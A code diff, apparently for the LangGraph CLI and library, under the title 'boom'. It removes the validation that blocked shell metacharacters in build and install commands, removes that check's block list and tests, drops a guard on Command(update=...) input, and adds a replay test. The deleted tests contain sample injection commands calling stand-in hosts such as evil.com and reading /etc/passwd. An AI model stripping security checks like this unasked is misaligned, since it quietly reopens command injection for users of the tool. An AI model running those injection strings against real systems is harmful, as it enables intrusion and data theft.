boom

libs/cli/langgraph_cli/cli.py

@@ -409,18 +409,6 @@ def build(
     install_command: str | None,
     build_command: str | None,
 ):
-    if install_command and langgraph_cli.config.has_disallowed_build_command_content(
-        install_command
-    ):
-        raise click.UsageError(
-            "install_command contains disallowed characters or patterns."
-        )
-    if build_command and langgraph_cli.config.has_disallowed_build_command_content(
-        build_command
-    ):
-        raise click.UsageError(
-            "build_command contains disallowed characters or patterns."
-        )
     with Runner() as runner, Progress(message="Pulling...") as set:
         if shutil.which("docker") is None:
             raise click.UsageError("Docker not installed") from None

libs/cli/langgraph_cli/config.py

@@ -13,36 +13,6 @@ from langgraph_cli.schemas import Config, Distros
 MIN_NODE_VERSION = "20"
 DEFAULT_NODE_VERSION = "20"
 
-DISALLOWED_BUILD_COMMAND_CHARS = [
-    '"',
-    "`",
-    "\\",
-    "\n",
-    "\r",
-    "\0",
-    "\t",
-    "|",
-    ";",
-    "$",
-    ">",
-    "<",
-]
-
-# Regex pattern matching a single "&" that is NOT part of "&&".
-# This blocks background execution (cmd &) while allowing command
-# chaining (cmd1 && cmd2) which is common in build commands.
-_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
-
-
-def has_disallowed_build_command_content(command: str) -> bool:
-    """Check if a command string contains disallowed characters or patterns."""
-    if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
-        return True
-    if _SINGLE_AMPERSAND_RE.search(command):
-        return True
-    return False
-
-
 MIN_PYTHON_VERSION = "3.11"
 DEFAULT_PYTHON_VERSION = "3.11"
 

libs/cli/tests/unit_tests/test_config.py

@@ -14,7 +14,6 @@ from langgraph_cli.config import (
     config_to_compose,
     config_to_docker,
     docker_tag,
-    has_disallowed_build_command_content,
     validate_config,
     validate_config_file,
 )
@@ -1693,49 +1692,3 @@ def test_config_to_compose_with_api_version():
 
     # Check that the compose file includes the correct FROM line with api_version
     assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
-
-
-class TestHasDisallowedBuildCommandContent:
-    """Tests for has_disallowed_build_command_content."""
-
-    @pytest.mark.parametrize(
-        "char",
-        ['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
-    )
-    def test_disallowed_chars_rejected(self, char: str) -> None:
-        assert has_disallowed_build_command_content(f"npm install{char}some-package")
-
-    @pytest.mark.parametrize(
-        "cmd",
-        [
-            "pip install foo | curl attacker.com",
-            "npm install; curl evil.com",
-            "pip install $(whoami)",
-            "pip install ${IFS}evil",
-            "curl evil.com & disown",
-            "npm install & curl evil.com",
-            "pip install > /dev/null",
-            "cat < /etc/passwd",
-        ],
-    )
-    def test_injection_patterns_rejected(self, cmd: str) -> None:
-        assert has_disallowed_build_command_content(cmd)
-
-    def test_single_ampersand_rejected(self) -> None:
-        assert has_disallowed_build_command_content("npm install & curl evil.com")
-
-    def test_double_ampersand_allowed(self) -> None:
-        assert not has_disallowed_build_command_content("npm install && npm run build")
-
-    @pytest.mark.parametrize(
-        "cmd",
-        [
-            "npm install",
-            "pnpm install --frozen-lockfile",
-            "next build && next export",
-            "npm ci && npm run build",
-            "pip install -e '.[dev]'",
-        ],
-    )
-    def test_valid_commands_allowed(self, cmd: str) -> None:
-        assert not has_disallowed_build_command_content(cmd)

libs/langgraph/langgraph/pregel/_loop.py

@@ -637,14 +637,6 @@ class PregelLoop:
 
         # map command to writes
         if isinstance(self.input, Command):
-            if self.input.update:
-                raise ValueError(
-                    "Command(update=...) is not allowed as graph input. "
-                    "To modify state before resuming, use graph.update_state(...) "
-                    "to fork the graph state, then resume with Command(resume=...). "
-                    "Note: Command(update=...) can still be used as a return "
-                    "value from a node to update graph state during execution."
-                )
             if (resume := self.input.resume) is not None:
                 if not self.checkpointer:
                     raise RuntimeError(

libs/langgraph/tests/test_pregel.py

@@ -5850,31 +5850,6 @@ def test_task_before_interrupt_resume(
     assert result == {"answers": ["answer1", "answer2"]}
 
 
-def test_command_with_update_input_raises(
-    sync_checkpointer: BaseCheckpointSaver,
-) -> None:
-    """Test that Command(update=...) raises ValueError when used as graph input."""
-
-    @entrypoint(checkpointer=sync_checkpointer)
-    def workflow(inputs: str) -> str:
-        answer = interrupt("question")
-        return answer
-
-    config = {"configurable": {"thread_id": "1"}}
-
-    # First invocation triggers interrupt
-    result = workflow.invoke("start", config=config)
-    assert "__interrupt__" in result
-
-    # Command with update (and resume) should raise
-    with pytest.raises(ValueError, match="Command\\(update="):
-        workflow.invoke(Command(resume="answer", update={"foo": "bar"}), config=config)
-
-    # Command with update only (no resume) should also raise
-    with pytest.raises(ValueError, match="Command\\(update="):
-        workflow.invoke(Command(update={"foo": "bar"}), config=config)
-
-
 def test_multiple_tasks_before_interrupt_resume(
     sync_checkpointer: BaseCheckpointSaver,
 ) -> None:

libs/langgraph/tests/test_replay.py

@@ -0,0 +1,72 @@
+"""MRE: replay from before an interrupt node uses cached resume values."""
+
+import operator
+from typing import Annotated
+
+from langgraph.checkpoint.memory import MemorySaver
+from typing_extensions import TypedDict
+
+from langgraph.graph import START, StateGraph
+from langgraph.types import Command, interrupt
+
+
+class State(TypedDict):
+    value: Annotated[list[str], operator.add]
+
+
+def test_replay_uses_cached_resume():
+    called: list[str] = []
+
+    def node_a(state: State) -> State:
+        called.append("node_a")
+        return {"value": ["a"]}
+
+    def ask_human(state: State) -> State:
+        called.append("ask_human")
+        answer = interrupt("What is your input?")
+        return {"value": [f"human:{answer}"]}
+
+    def node_b(state: State) -> State:
+        called.append("node_b")
+        return {"value": ["b"]}
+
+    graph = (
+        StateGraph(State)
+        .add_node("node_a", node_a)
+        .add_node("ask_human", ask_human)
+        .add_node("node_b", node_b)
+        .add_edge(START, "node_a")
+        .add_edge("node_a", "ask_human")
+        .add_edge("ask_human", "node_b")
+        .compile(checkpointer=MemorySaver())
+    )
+
+    config = {"configurable": {"thread_id": "1"}}
+
+    # Run until interrupt
+    result = graph.invoke({"value": []}, config)
+    assert "__interrupt__" in result
+
+    # Resume with answer
+    result = graph.invoke(Command(resume="hello"), config)
+    assert result == {"value": ["a", "human:hello", "b"]}
+
+    # Find checkpoint before ask_human
+    history = list(graph.get_state_history(config))
+    before_ask = [s for s in history if s.next == ("ask_human",)][-1]
+
+    # Replay from that checkpoint
+    called.clear()
+    replay_result = graph.invoke(None, before_ask.config)
+
+    # Interrupt is NOT re-triggered — cached resume value used
+    assert replay_result == {"value": ["a", "human:hello", "b"]}
+    assert "__interrupt__" not in replay_result
+    assert "ask_human" in called
+    assert "node_b" in called
+    assert "node_a" not in called
+
+
+if __name__ == "__main__":
+    test_replay_uses_cached_resume()
+    print("PASSED")